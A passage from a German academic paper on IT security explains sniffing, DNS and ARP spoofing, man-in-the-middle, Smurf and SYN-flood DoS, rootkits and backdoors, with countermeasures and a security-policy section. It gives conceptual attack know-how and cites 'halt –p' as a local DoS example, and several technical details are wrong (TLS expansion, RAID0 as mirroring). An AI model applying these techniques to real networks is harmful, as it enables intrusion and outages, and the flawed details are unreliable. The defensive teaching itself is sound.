Adressierung der einzelnen Netzwerkschnittstellen innerhalb eines lokalen Netzwerkes. Netzwerkkarten werden bei der Herstellung dauerhaft mit einer idR eindeutigen Ethernet-Adresse versehen. Sie ist nicht zu verwechseln mit der, aus 32 Bit bestehenden IP-Adresse, die der Identifikation von Netzwerkschnittstellen auch außerhalb der Grenzen des lokalen Netzes (z.B. im Internet) dient. Wird eine Netzwerkkarte jedoch in den sog. Promiscuous Mode versetzt, was leicht möglich ist, nimmt sie alle Datenpakete, ungeachtet der Ethernet-Zieladresse an. Nun bedarf es nur noch eines sog. Sniffers, eines Programms, das in der Lage ist den ein- und ausgehenden Netzwerkverkehr zu protokollieren und in, für Menschen lesbarer Weise zu dekodieren (Umwandlung des Bit-Stromes in lesbare ASCII-Zeichen) und darzustellen. Bereits Script Kiddies sind in der Lage mit derartigen Tools[42] umzugehen. Daher sind alle unverschlüsselt transferierten Daten grundsätzlich als kompromittiert anzusehen. Dies gilt für den gesamten Inhalt der Kommunikation einschließlich allfälliger Passwörter. Ein zusätzlicher Risikofaktor ist die zunehmende Verbreitung von WLAN (Wireless LAN), da dadurch die Beschränkung des physischen Zugangs zur Netzwerkinfrastruktur nicht mehr ausreichend ist.

2.5.1 Gegenmaßnahmen

Eine Maßnahme gegen das Sniffen von Passwörtern besteht in der Verwendung von One-Time-Passwords, denn diese können nur für ein Login verwendet werden und sind für den Angreifer daher wertlos. One-Time-Passwords schützen jedoch nicht den Inhalt der Kommunikation.
In auf Twisted Pair Ethernet basierenden lokalen Netzwerken ist die Verwendung von Switches anstelle von Hubs üblich geworden. Switches haben den erheblichen Vorteil, sich zu „merken“ an welchem Port welche Ethernet-Adresse zu finden ist. Nur an einen Port werden daher die Daten für einen Rechner gesendet. Dies mindert das Transfervolumen und hat den angenehmen Nebeneffekt, dass nicht alle Rechner alle Pakete „sehen“, sondern nur jeder Rechner die an ihn adressierten. Switches sind jedoch auch kein Allheilmittel um Sniffing in lokalen Netzwerken zu verhindern, da ein ARP-Spoofing (siehe unten) des Switches idR leicht möglich ist.
Der Einsatz starker Kryptographie[43] gilt daher als einziges, umfangreich wirksames Mittel gegen Sniffing. Die Verschlüsselung kann auf unterschiedlichen Ebenen des OSI-Modells[44] statt finden. Auf Ebene 2 (Data Link) war WEP (Wireless Equivalent Privacy) für WLANs lange Zeit die Standardlösung. Durch einen Fehler im Design des Protokolls ist die Verschlüsselung nach der Sammlung von ca. 2GB verschlüsselten Daten crackbar[45]. Auf Ebene 3 (Network) ist IPSec[46] die meist verbreitete und sicherste Lösung, die auch für WLANs verwendbar ist. Der wesentliche Vorteil von IPSec ist, dass alle auf Anwendungsebene (Layer 7) eingesetzten Protokolle, die darauf aufbauen keiner Modifikationen bedürfen. Da IPSec jedoch ein sehr komplexes Protokoll ist, wird die Verschlüsselung oft auf Anwendungsebene (Layer 7) durchgeführt. Beispiele hierfür sind SSL/TLS[47] und SSH[48] (Secure Shell). Für HTTP, FTP, SMTP, POP3 und IMAP sind

---

[42] Auf eine Anführung der dazu verwendeten Tools wird, der im §126c Abs 1 StGB (vgl. Art. 6 §1 (a) (2) CyCC) vorgenommenen Wertung des österreichischen Gesetzgebers folgend, verzichtet.
[43] Eine exzellente Darstellung der Grundlagen der symmetrischen und asymmetrischen Kryptographie enthält *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 161ff
[44] Das OSI (Open systems interconnection) Modell ist im ISO (International Organization for Standardization) Standard 35.100 spezifiziert,
http://www.iso.org/iso/en/CatalogueListPage.CatalogueList?ICS1=35&ICS2=100&scopelist= (5.12.2004)
[45] *Peikari/Chuvakin*, Security Warrior, O'Reilly, 2004, S. 393ff
[46] *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 196ff
[47] SSL (Secure Socket Layer) wurde 1993 von Netscape entwickelt und ist Gegenstand eines Patents, das Netscape gehört. Die IETF entwickelte aus SSLv3 den Internet Standard TLS (Transparent Layer Security),

Implementierungen verfügbar die SSL/TLS nutzen. Besonderer Beliebtheit erfreut sich das sichere Pendant zu HTTP, HTTPS, da es die, technisch wohl wichtigste Voraussetzung für E-Commerce darstellt. Die anderen durch SSL/TLS verschlüsselten Gegenstücke der erwähnten Protokolle sind FTPS[49], SMTP TLS, POPS, und IMAPS.
SSH wurde als Ersatz für telnet und rlogin/rsh entwickelt, da diese die gesamte Session im Klartext übertragen. SSH verfügt über eine Möglichkeit des Port Forwarding[50] wodurch es möglich ist einfache TCP-Verbindungen, die nur einen Port benötigen zu „tunneln". Damit lassen sich einfache VPN-Lösungen ad hoc implementieren.
Eine weitere Möglichkeit des Schutzes vor Sniffing neben dem Einsatz eines verschlüsselten Protokolls, ist die zu sendenden Daten vor der Übertragung mit anderen Mitteln zu verschlüsseln. Ein Beispiel hierfür ist der Fall E-Mail. Um für die Übertragung eines E-Mails ausschließlich SMTP TLS zu verwenden, wäre es erforderlich, dass alle Mail-Gateways zwischen Absender und Empfänger SMTP TLS implementieren. Da dies nie der Fall ist, muss das E-Mail selbst vor dem Versenden verschlüsselt werden. Lösungen hierfür sind S/MIME und OpenPGP[51]. Im Unterschied zur hierarchischen PKI[52] (Public Key Infrastructure) von S/MIME implementiert OpenPGP ein dezentrales „web of trust", in dem es keine zentralen Certificate Authorities gibt. Daher besteht eine Inkompatibilität zwischen beiden Systemen.

2.6 Man-in-the-middle Attacks

Das Wesen eines Man-in-the-middle Attacks besteht darin, dass sich der Angreifer gleichsam zwischen Client und Server positioniert und der Client, ohne dies zu wissen, sich nicht mit dem intendierten Server sondern mit dem Angreifer verbindet und diesem vertraulichen Daten sendet. Die eigentliche Schwierigkeit besteht für den Angreifer darin, das Opfer auf den eigenen Rechner umzuleiten. Ist dies getan, kann entweder der vom eigentlichen Server angebotene Dienst dupliziert werden (z.B. eine Web-Site) oder aber kann der Rechner des Angreifers als Proxy fungieren.

2.6.1 Durch Hacking eines Routers

Die technisch einfachste Möglichkeit eine Umleitung zu erzwingen besteht, darin einen Router oder eine Firewall zwischen den Kommunikationspartnern zu hacken.

2.6.2 DNS Spoofing

Eine weitere Variante ist die Bewirkung der Auflösung des Domainnamens des Servers in eine falsche IP-Adresse (jene des Angreifers). DNS (Domain Name System) ist eine dezentrale Datenbank[53], die (primär) der Auflösung von Domainnamen in IP-Adressen dient. Denn schlussendlich müssen die Datenpakete auf Netzwerkebene (Layer 3 des OSI-Modells) durch Verwendung des Protokolls IP, das nur IP-Adressen kennt, ihr Ziel erreichen. DNS wurde entwickelt, da sich Menschen idR IP-Adressen schwer merken können. Kunden des

---

spezifiziert in RFC2246. Eine freie Implementierung ist in der Form von OpenSSL (http://www.openssl.org) verfügbar.

[48] SSHv1 hat wesentliche Schwächen im Design, weshalb nur noch SSHv2 eingesetzt werden sollte. Eine freie Implementierung ist mit OpenSSH (http://www.openssh.org) verfügbar.

[49] Michael Hamm, FTP Secure oder Secure FTP?, iX 10/2004 S. 102

[50] *Barrett/Silverman*, SSH – The Secure Shell, O'Reilly, 2001, S. 316ff

[51] OpenPGP ist spezifiziert in RFC2440 und RFC3156. GnuPG (http://www.gnupg.org) ist eine sehr beliebte Implementierung von OpenPGP bzw. des RFC2440. Mit einem Plugin ist GnuPG auch mit Outlook nutzbar. Nützliche Informationen bietet das GNU Privacy Project (GnuPP) unter http://www.gnupp.de.

[52] Eine gute Einführung zum Thema PKI enthält, auf Grund der Implementierung einer PKI in Windows 2000 Server, *Russel/Crawford/Gerend*, Microsoft Windows 2000 Server Administrator's Companion, Second Edition, Microsoft Press, 2002, S. 649ff

[53] *Albitz/Liu*, DNS and BIND, 4th Edition, O'Reilly, 2001, S. 11ff

ISP Chello verwenden idR den Nameserver ns1.chello.at [195.34.133.10]. Gelingt es einem Angreifer diesen zu übernehmen, kann er ns1.chello.at beispielsweise die Autorität für Domain amazon.com zuweisen und so eine Auflösung von www.amazon.com in seine IP-Adresse für alle Kunden des ISP Chello erzwingen. Eine Alternative zum Hacking des Name-Servers, besteht im DNS Cache Poisoning. Der Angreifer sendet hierbei gefälschte DNS-Antworten, an den Nameserver, die keiner DNS Anfrage entsprechen. Speichert sie der DNS-Server dennoch in seinem Cache werden die gefälschten Daten zur späteren Beantwortung von DNS-Anfragen verwendet. Ebenso ist ein Client Flooding möglich. Eine DNS-Anfrage und die dazugehörige Antwort bestehen jeweils aus einem UDP[54] Datenpaket. Der Angreifer überschüttet den Client mit UDP-Paketen die eine gefälschte DNS-Antwort für den Domainnamen example.com darstellen und auf Grund von IP-Soofing[55] vom DNS-Server zu kommen scheinen. Richtet der Client nun eine Anfrage an seinen DNS-Server nach dem Domainamen example.com wird ihn ein gefälschtes Datenpaket des Angreifers schneller erreichen als die korrekte Antwort des DNS-Servers, die als zu spät kommend verworfen wird. Eine technisch schwierigere Form des DNS-Spoofings besteht im Sniffen des Netzwerkverkehrs des Clients, und der falschen Beantwortung aller DNS-Anfragen für bestimmte Domainnamen.

2.6.3 ARP Spoofing

Die dritte hier erörterte Variante die Umleitung des Datenverkehrs über den Rechner des Angreifers zu erzwingen, ist das ARP Spoofing. Dies erfordert jedoch, dass sich der Angreifer bereits Zugang zum lokalen Netzwerk verschafft hat. ARP[56] (Address Resolution Protocol) dient der Auflösung von IP-Adressen in Ethernet-Adressen. Denn im lokalen Netzwerk erfolgt die Adressierung anhand zweiterer. Die Address Resolution erfolgt durch Broadcasts. Jedem Rechner im lokalen Netz wird ein ARP-Request-Paket mit der aufzulösenden IP-Adresse geschickt. Jener Rechner, dem die IP-Adresse zugeordnet ist, antwortet, der Spezifikation gemäß, auf diesen Request mit einem, seine Ethernet-Adresse beinhaltenden, ARP-Reply-Paket. Überhäuft der Angreifer den Client nun mit gefälschten ARP-Reply-Paketen, wird dieser sie vor der richtigen Antwort erhalten. Da der Server, zu dem der Client eine Verbindung aufbauen will, idR nicht im lokalen Netz steht, erfolgt kein ARP-Request nach der Ethernet-Adresse des Servers sondern nach jener des Default-Gateways, der in der Lage ist die Pakete zum Server (oder einem anderen Router) weiterzuleiten. In solchen Fällen spooft der Angreifer die Ethernet-Adresse des Default-Gateways, wodurch alle Datenpakete, die and IP-Adressen außerhalb des lokalen Netzes gerichtet sind zuerst den Rechner des Angreifers passieren.

2.6.4 Der Angriff selbst

Kann der Angreifer den Netzwerkverkehr des Opfers erfolgreich über seinen Rechner leiten, stehen ihm nun mehrere Möglichkeiten offen. Er kann den, vom Server angebotenen Dienst duplizieren (z.B. eine Web-Site) und so das Opfer zur Eingabe von persönlichen Daten verleiten (vgl. Phishing). Im Fall des Fälschens einer Web-Site wird von Web-Spoofing gesprochen.
Weiters besteht die Möglichkeit der Einrichtung eines Proxy auf Applikationsebene (Layer 7 des OSI-Modells). Dies erübrigt die Duplizierung des, vom Server angebotenen Dienstes und ermöglicht zugleich auf einfache Weise das Sniffen der, vom Opfer übertragenen Daten.

---

[54] UPD (User Datagram Protocol), spezifiziert in RFC768 ist, im Unterschied zu TCP, ein verbindungsloses, unzuverlässiges Protokoll.
[55] Fälschung IP-Absenderadresse, siehe *Zwicky/Cooper/Chapman*, Building Internet Firewalls, 2ed Edition, O'Reilly, 2000, S. 98f
[56] ARP ist in RFC826 spezifiziert.

Ähnlich ist die Vorgehensweise bei dem Auftreten des Angreifers als Router. Der Rechner des Angreifers muss lediglich die vom Opfer erhaltenen IP-Pakete weiterleiten. Sollen auch die vom Server eingehenden Pakete über den Rechner des Angreifers laufen ist der Einsatz von SNAT (Source Network Address Translation; siehe unten) erforderlich.

2.6.5 Gegenmaßnahmen

Die einzige umfassend wirksame Maßnahme gegen Man-in-the-middle Attacks ist wie bei Sniffing der Einsatz von Verschlüsselten Protokollen, die die Authentizität des Kommunikationspartners sicherstellen können. SSL/TLS tut dies überaus wirkungsvoll durch die Implementierung einer hierarchischen PKI. Der Public Key des Servers, der den Domainnamen enthält, muss von einer Certificate Authority (z.B. VeriSign) unter Verwendung ihres Private Keys signiert sein. Gelingt es dem Angreifer nicht den Private Key der Certificate Authority oder jenen des Servers zu „stehlen“[57], muss er den Public Key seines Schlüsselpaares selbst signieren (sog. Self-Signed Certificate). Opfer des Man-in-the-middle Attack werden jedoch von ihren Browsern durch eine Warnmeldung auf den Fehlschlag der Signaturprüfung hingewiesen. Die meisten Benutzer ignorieren jedoch solche Fehlermeldungen, wodurch viele Man-in-the-middle Attacks dieser Art dennoch Erfolg haben.
SSH verfügt im Gegensatz zu SSL/TLS über keine hierarchische PKI. Ein SSH-Client speichert bei jeder Verbindung mit einem neuen SSH-Server den Fingerprint dessen Private Key (in der Datei ~/.ssh/known_hosts). Ändert sich der Fingerprint des Private Key des Servers bei einer späteren Verbindung, nimmt der SSH-Client einen Man-in-the-middle Attack an und verweigert daher die Herstellung der Verbindung[58]. Der Benutzer muss manuell den alten Fingerprint aus ~/.ssh/known_hosts löschen, wenn er dennoch eine Verbindung herstellen möchte. Daraus ergibt sich aber auch, dass beim ersten Verbindungsaufbau zu einem SSH-Server immer ein Main-in-the-middle Attack möglich ist, da zu diesem Zeitpunkt kein Fingerprint vorhanden ist. Einen weiteren Schutz vor Man-in-the-middle Attacks bietet SSH durch den optionalen Einsatz von Public Key Authentication anstelle von Password Authentication. Auch bei einem erfolgreichen Angriff ist es dann dem Angreifer nicht möglich, die für ein Login erforderlichen Daten zu extrahieren[59].

3 Angriffe auf die Verfügbarkeit von Daten

Traditionell wurde der Verfügbarkeit eine relativ geringe Wichtigkeit beigemessen. Dies änderte sich mit der stärkeren Durchdringung der betrieblichen Infrastruktur mit Computersystemen. Ein Ausfall der ganzen IT einer Organisation würde heute in vielen Bereichen zu einem vollständigen Produktionsausfall führen.

3.1 Denial of Service (DoS) Attacks

Angriffe auf die Verfügbarkeit von Daten werden als Denial of Service[60] (DoS) Attacks bezeichnet. DoS Angriffe können destruktiver Natur sein, also Daten (bzw. Hardware[61])

[57] Ersteres ist mit an Sicherheit grenzender Wahrscheinlichkeit unmöglich, zweiteres auf Grund der Tatsache, dass der Private Key meist nur in verschlüsselter Form vorliegt zumindest äußerst schwierig.
[58] So zumindest das Verhalten der freien Implementierung von SSH, OpenSSH.
[59] Die Funktionsweise der Public Key Authentication kann grundsätzlich so skizziert werden: Im Rahmen des Verbindungsaufbaus verschlüsselt der Server Zufallsdaten mit dem, zuvor manuell abgelegten Public Key des Benutzers. Nur wenn der Client die Daten entschlüsseln kann, was seinen komplementären Private Key voraussetzt, ist die Authentisierung erfolgreich. Ausführlich: *Barrett/Silverman*, SSH – The Secure Shell, O’Reilly, 2001, S. 295f
[60] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O’Reilly, 2003, S. 767ff

beschädigen, die für den Betrieb des Computersystems erforderlich sind. Daneben gibt es auch Angriffe die durch eine übermäßige Konsumption einer beschränkten Ressource erfolgen. Zu den beschränkten Ressourcen eines Computersystems zählen ua CPU, RAM, Festplattenkapazität und Bandbreite. Eine letzte Form des DoS Angriffs besteht darin, durch Ausnützung eines Softwarefehlers (z.B. Buffer Overflow), den Dienst (z.B. den Apache HTTP Server) bzw. das Betriebssystem zum Absturz zu bringen.
Eine weitere Unterscheidung kann in lokale und entfernte DoS Angriffe getroffen werden. Lokale DoS Angriffe können nur von, am System angemeldeten Benutzern ausgeführt werden. Um einen lokalen DoS Angriff ausführen zu können muss ein Angreifer daher zuvor in das System eindringen. Das einfachste Beispiel für einen lokalen DoS Angriff besteht im Herunterfahren des Betriebssystems (unter OpenBSD beispielsweise durch das Command „halt –p“).
Entfernte DoS Angriffe sind auch über das Netzwerk möglich, und bestehen häufig in der Ausnützung fehlerhafter Implementierungen von Netzwerkprotokollen. Sie sind vielfältig und idR wesentlich komplexer als lokale DoS Angriffe. Zunächst besteht die Möglichkeit einen spezifischen Dienst durch eine übermäßige Anzahl von Anfragen zu überladen. Traditionell führt ein Dienst unter Unix (dort „daemon“ genannt) zur Bearbeitung einer neuen Anfrage ein Forking[62] durch. Dies bewirkt die Erstellung einer exakten Kopie des Prozesses des Dienstes im Arbeitsspeicher, der der Beantwortung einer einzigen Anfrage dient und danach endet. Da jeder Anfrage ein eigener Prozess entspricht, kann es leicht zu einer vollständigen Auslastung des Arbeitsspeichers kommen, was entweder zum Absturz des Betriebssystems oder des Dienstes führen kann. Nun folgen einige namentlich bekannte entfernte DoS Angriffsvarianten. Smurf[63] ist ein sog. “Broadcast Storm Attack”. Der Angreifer sendet ICMP[64] Echo-Request Pakete and eine Boradcast-IP-Adresse. Dies bewirkt, dass alle Rechner, des durch die Boradcast-Adresse bezeichneten Netztes, mit einem ICMP Echo-Reply Paket and die Absenderadresse antworten. Da der Angreifer die Absenderadresse der Echo-Request Pakete gefälscht und auf jene des Opfers gesetzt hat, kommt es zu einer Überhäufung des Opfers mit ICMP Echo-Reply Paketen, was zu einer Auslastung dessen Bandbreite bzw. zu einem Absturz führen kann.
Bei einem SYN Flood[65] Angriff wird das Opfer mit TCP-Paketen die nur das SYN-Flag gesetzt haben überflutet. TCP[66] ist (im Unterschied zu UDP) ein verbindungsorientiertes Protokoll. Die Herstellung einer TCP-Verbindung erfolgt durch einen Three-Way-Handshake[67]. Der Client sendet ein, mit ausschließlich dem SYN-Bit gesetztes, TCP-Paket and den Server. Dieser sendet ein SYN,ACK zurück, das der Client mit einem ACK beantwortet. Bei einem SYN Flood werden die vom Angreifer gesendeten SYN-Pakete mit gespooften IP-Absenderadressen versehen. Daher erfolgt niemals eine Antwort auf die SYN-ACK Pakete des Servers. Die steigende Anzahl von „halboffenen“ TCP-Verbindungen kann zu einer Überlastung des Servers und zu dessen Absturz führen.

---

[61] Das Risiko physischer Angriffe entsteht jedoch nicht durch das Internet und wird auch nicht durch dieses erhöht. Daher können Aspekt der physischen Sicherheit hier nicht behandelt werden. Ausführlich, *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O’Reilly, 2003, S. 194ff

[62] *Welsh/Dalheimer/Kaufman*, Running Linux, 3rd Edition, O’Reilly, 1999, S. 120f; Neuere Unix Daemons wie Apache ab der Version 2.0 sind in der Lage, für jeden neuen Request anstatt eines neuen Prozesses (forking) einen neuen Thread zu erstellen. Das Threading hat den wesentlichen Vorteil, dass einzelne Threads im Unterschied zu Prozessen, sehr Ressourcen gemeinsam verwenden können, wodurch der Speicherbedarf geringer ist. Vgl. *Wainwright*, Professional Apache 2.0, Wrox Press, 2002, S. 404ff

[63] CERT Advisory CA-1998-01, http://www.cert.org/advisories/CA-1998-01.html

[64] ICMP (Internet Control Message Protocol) ist spezifiziert in RFC792.

[65] CERT Advisory CA-1996-21, http://www.cert.org/advisories/CA-1996-21.html

[66] TCP (Transmission Control Protocol) ist spezifiziert in RFC793.

[67] *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 59ff

Der Ping of Death[68] ist ein Angriff der im Senden eines zu großen ICMP Echo-Request Pakets besteht und alte Windows und Unix Systeme zum Absturz brachte. Er ist vornehmlich von historischem Interesse.

3.2 Distributed Denial of Service (DDoS) Attacks

Bedient sich der Angreifer mehrerer Rechner zur Ausführung des Angriffs spricht man von einem Distributed Denial of Service (DDoS) Angriff. Angreifer verwenden hierzu nach Möglichkeit verfügbare bot networks (siehe oben). Beim Angriff selbst kommt meist IP-Spoofing zum Einsatz um nicht nur die Verfolgung des Angreifers sondern auch die Identifikation der am Angriff beteiligten Rechner (Zombies) zu erschweren. Beispielsweise verursachte der Virus MyDoom[69] (unter anderem) einen DDoS Angriff auf die Web-Site www.sco.com, der einen mehrwöchigen Wechsel des Domainnamens erzwang.
Zunehmens treten Fälle auf, in denen DDoS Angriffe als Drohmittel zur Schutzgelderpressung eingesetzt werden. Diese Erscheinungsformen stehen, ebenso wie Phishing, der organisierten Kriminalität nahe.

3.3 Gegenmaßnahmen

Grundsätzlich ist der Einsatz redundanter Komponenten und Systeme zur Erhöhung der Verfügbarkeit erforderlich. Beginnend bei redundanten Netzteilen, einem RAID[70] (Redundant Array of Independent Disks), das ein Spiegeln der Platte durchführt (RAID0) bis zur Redundanz ganzer Computersystem in einem (uU geographisch verteilten) Cluster. Redundante Systeme machen einen DoS Angriff schwieriger, dienen jedoch primär der Bewältigung physischer Risiken, wie einem Hardwarefehler, einem Strohmausfall oder einer Naturkatastrophe.
Maßnahmen gegen entfernte DoS Angriffe entsprechen jenen gegen Hacking und Malware. Die Erfolgswahrscheinlichkeit von entfernten DoS Angriffen kann durch eine entsprechend konfigurierte Firewall und durch das Härten der Server-Betriebssysteme gemindert werden. So lässt sich ein Smurf-Angriff durch das Filtern von IP-Pakten, deren Zieladresse eine Broadcast-Adresse ist, vermeiden. Die eleganteste Methode SYN Flood-Angriffen vorzubeugen, ist die Verwendung von SYN Cookies[71]. TCP verwendet Sequence Numbers[72] um die richtige Reihenfolge der Datenpakete zu garantieren. Ein SYN Cookie besteht darin, dass ein eingehendes SYN („Synchronize sequence numbers“) Paket mit einem SYN-ACK Pakete beantwortet wird, welches die Verbindungsparameter in der TCP Sequence Number in dekodierter Form enthält. Nach Senden des SYN-ACK Pakets wird die Verbindung aus der intern geführten Verbindungstabelle gelöscht. Sollte das SYN-ACK Paket tatsächlich mit einem ACK Paket beantwortet werden (was bei einem SYN Flood eben nicht der Fall ist), enthält das ACK Paket die dekodierten Verbindungsparameter in der Sequence Number wodurch es möglich ist den zuvor gelöschten Eintrag der Verbindungstabelle zu rekonstruieren.

4 Angriffe auf die Integrität von Daten

Die bereits erörterten Angriffe durch Hacking und Malware aller Art sind natürlich auch dazu geeignet die Integrität von Daten zu verletzen. Der Betrachtungsschwerpunkt soll va auf den

[68] CERT Advisory CA-1996-26, http://www.cert.org/advisories/CA-1996-26.html
[69] http://www.heise.de/security/news/meldung/44035 (14.12.2004)
[70] *Stanfield/Smith*, Linux System Administration, Sybex, 2001, S. 28f
[71] Entwickelt von Daniel J. Bernstein und ausführlich beschrieben unter http://cr.yp.to/syncookies.html.
[72] RFC793, Section 3.3

möglichen Abwehrmaßnahmen liegen. Traditionell wurde der Integrität bzw. dem Integrity Management[73] die relativ niedrigste Bedeutung beigemessen.

4.1 Durch Hacking

Die verschiedenen Formen des Hacking wurden oben bereits erörtert. Eine allfällige Integritätsverletzung tritt oft erst danach ein. So kann ein Hacker, nach erfolgreichem Eindringen, schlicht die Festplatte neu formatieren – was neben der Integritätsverletzung auch einen destruktiven lokalen DoS Angriff (siehe oben) darstellt.
Häufiger wollen Hacker sich eine Widereinstiegsmöglichkeit (sog. Backdoor) in das System schaffen, insbesondere für jenen Fall, dass die ursprünglich ausgenutzte Sicherheitslücke geschlossen wird. Beispielsweise wird ein eigens dafür entwickeltes Programm gestartet, das eingehende Verbindungen auf einem hohen Port[74] entgegen nimmt. Um diese Tatsache vor einem Systemadministrator zu verheimlichen, werden unter Unix idR Standard-Tools wie ps[75] (zum Anzeigen der laufenden Prozesse) und netstat[76] (zum Anzeigen bestehender Verbindungen und offener Ports) „gepatched“[77]. Zur automatischen Installation einer Backdoor und einer Verschleierung dieses Vorgangs gibt es eine Fülle von Werkzeugen, die als Rootkits bezeichnet werden.

Eine Weitere Form der Integritätsverletzung, die sich im Zuge von Hacking ereignen kann ist jene des Web-Defacement. Dabei hinterlässt der Hacker Beweise des erfolgreichen Hacks auf einer allfällig auf dem System gehosteten Web-Site. Das Bekanntwerden der Tatsache, dass der Webserver einer Organisation erfolgreich gehackt wurde, ist je nach Tätigkeitsbereich der Organisation mit einem erheblichen Imageverlust verbunden. Dies kann zu einem empfindlichen Verlust des Kundenvertrauens und in weiterer Folge zu finanziellen Einbußen führen.

4.2 Durch Malware

Insbesondere Viren verbreiten sich durch eine Infizierung von, auf dem System vorhandenen Dateien. Diese Infizierung stellt eine Integritätsverletzung dar. Kann das eingesetzte Anti-Virus Programm den Virus aus der Datei nicht entfernen, ist die Integritätsverletzung zunächst dauerhaft.
Die Schädigung anderer Viren besteht beispielsweise darin, auf der Festplatte und allen im Netzwerk zugänglichen Fileservern nach MS Excel Dateien zu suchen und in diesen geringfügige Veränderungen von Werten vorzunehmen. Dies kann zu empfindlichen Verfälschungen betrieblicher Kalkulationen aller Art führen – sofern Excel zu diesem Zweck im Unternehmen eingesetzt wird.

4.3 Gegenmaßnahmen

Präventive Maßnahmen bestehen im Verringern der Wahrscheinlichkeit eines erfolgreichen Angriffs. Diese wurden bereits oben unter Hacking bzw. Malware erörtert. Reaktiven Maßnahmen zur Minderung des, durch die Integritätsverletzung eingetretenen Schadens sind zum einen Verfahren zur Erkennung der Integritätsverletzung und zum anderen Verfahren, die ihre Rückgängigmachung ermöglichen.

---

[73] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O’Reilly, 2003, S. 616ff
[74] Es gibt jeweils 2^{16} verschiedene TCP und UDP ports. Hohe ports werden oft nicht gründlich überwacht.
[75] http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man1/ps.1.html&srch=ps
[76] http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man8/netstat.8.html&srch=netstat
[77] Diese Form des Patchens erfolgt durch die Veränderung der, nur in Binärform vorliegenden Dateien.

Die wohl effektivste Maßnahme zur Erkennung von Integritätsverletzungen von Daten (insbesondere Dateien) ist der Einsatz eines Host-based Intrustion Detection System (HIDS)[78]. Ein solches speichert die Attribute und die Checksum ausgewählter Dateien in einer Datenbank. Eine Checksum wird durch Message Digest Functions[79] (auch One-Way-Encryption) wie MD5 oder SHA-1 errechnet und entspricht im übertragenen Sinne dem Fingerabdruck einer Datei. Durch einen späteren Vergleich der Datenbank mit dem aktuellen Status des Dateisystems können Integritätsverletzungen erkannt werden. Das wohl prominenteste Beispiel ist Tripwire[80].
Neben der Erkennung von Angriffen ist natürlich ein System zur Wiederherstellung des Zustandes vor Integritätsverletzung erforderlich. Neben Anti-Virus Software, die infizierte Dateien uU „reparieren" kann, gibt es nur ein wirksames Mittel: Backups. Ist die Integritätsverletzung einmal erkannt, müssen die Daten, wie sie vor der Veränderung bestanden, wiederhergestellt werden. Hierzu ist ein, zuvor erstellter und implementierter Desaster Recovery Plan[81] erforderlich. Dieser legt fest, welche Daten wie oft auf welche Weise gesichert werden und welche Vorgehensweise bei der Wiederherstellung zu wählen ist. Die Wahl eines konkreten kommerziellen[82] oder freien[83] Backup-Tools, derer es reichlich gibt, ist hierbei von untergeordneter Bedeutung.

5 Allgemeine Maßnahmen zu Minderung des Risikos

Hier soll die Darstellung allgemeiner Abwehrmaßnahmen erfolgen. Denn zum einen stellen manche Angriffsarten (vgl. Hacking) nicht eine Bedrohung für nur einen, sondern mehrere der Aspekte der Sicherheit (Vertraulichkeit, Verfügbarkeit und Integrität) dar und zum anderen gibt es Maßnahmen, die der Abwehr mehrerer – und vielleicht auch unbekannter – Angriffsformen dienen.

5.1 Security Policy

Die Security Policy[84] ist ein allgemein gehaltenes Regelwerk, das die folgenden Fragen für eine Organisation beantwortet:

Ist die Grundphilosophie permissiv oder restriktiv? In einer permissiven Security Policy ist alles, das nicht ausdrücklich verboten ist, erlaubt („Default-Allow"). In einer restriktive Security Policy, die ein „Default-Deny" bewirkt, ist alles, das nicht ausdrücklich erlaubt ist, verboten. Ein Default-Deny ist selbstverständlich die sicherere Wahl, da sie auch unbekannten Risiken vorbeugen kann.

Was wird geschützt und warum? Zur Beantwortung dieser Frage ist eine Evaluation der, in der Organisation bestehenden Werte („Assets") erforderlich. Hierbei kann es sich um Geschäftsgeheimnisse, Kundendaten, persönliche Daten der Angestellten oder je nach Tätigkeitsfeld der Organisation um die Spezifikation von Produktionsprozessen oder Quellcode von entwickelter Software handeln. Wichtig ist auch festzuhalten, weshalb bestimmte Assets zu schützen sind. Denn nur wenn das Personal weiß weshalb eine Maßnahme erfolgen soll, wird entsprechende Bereitschaft dafür entstehen.

---

[78] *Peikari/Chuvakin*, Security Warrior, O'Reilly, 2004, S. 425ff
[79] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 187ff
[80] vgl. http://www.tripwire.com und http://www.tripwire.org
[81] *Preston*, Unix Backup & Recovery, O'Reilly, 1999, S. 4ff
[82] z.B. Arkeia, http://www.arkeia.com
[83] z.B. Dumpnet, http://dumpnet.sourceforge.net
[84] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 32ff

Wogegen soll geschützt werden? Der Beantwortung dieser Frage muss eine Risikobewertung[85] vorausgehen. Die Beeinträchtigung der Vertraulichkeit, Verfügbarkeit oder Integrität welcher Daten stellt welchen finanziellen Schaden dar? Durch welche Angriffsarten kann es zu einer solchen Beeinträchtigung kommen und wie hoch ist deren Erfolgswahrscheinlichkeit? Danach kann im Rahmen einer Kosten-Nutzen Analyse festgestellt werden ob die Kosten der Verhinderung des Risikos durch das Risiko selbst gerechtfertigt sind. Beträgt beispielsweise der Wert von, auf einer Festplatte gespeicherten Daten € 100.000 und liegt die Wahrscheinlichkeit eines kompletten Datenverlustes infolge eines Hardwarefehlers innerhalb eines Jahres bei 0,1, ergibt sich durch das Produkt von Schadenshöhe und Eintrittswahrscheinlichkeit ein rechnerisches Risiko iHv € 10.000. Betragen nun die Anschaffungs-, Installations- und Wartungskosten (Total Cost of Ownership[86]) für ein hardwarebasiertes RAID samt zweiter Festplatte € 5000 im Jahr, gebietet die Kosten-Nutzen Analyse, dass die Integrität und Verfügbarkeit der Daten vor Hardwarefehlern der Festplatte geschützt werden sollen.

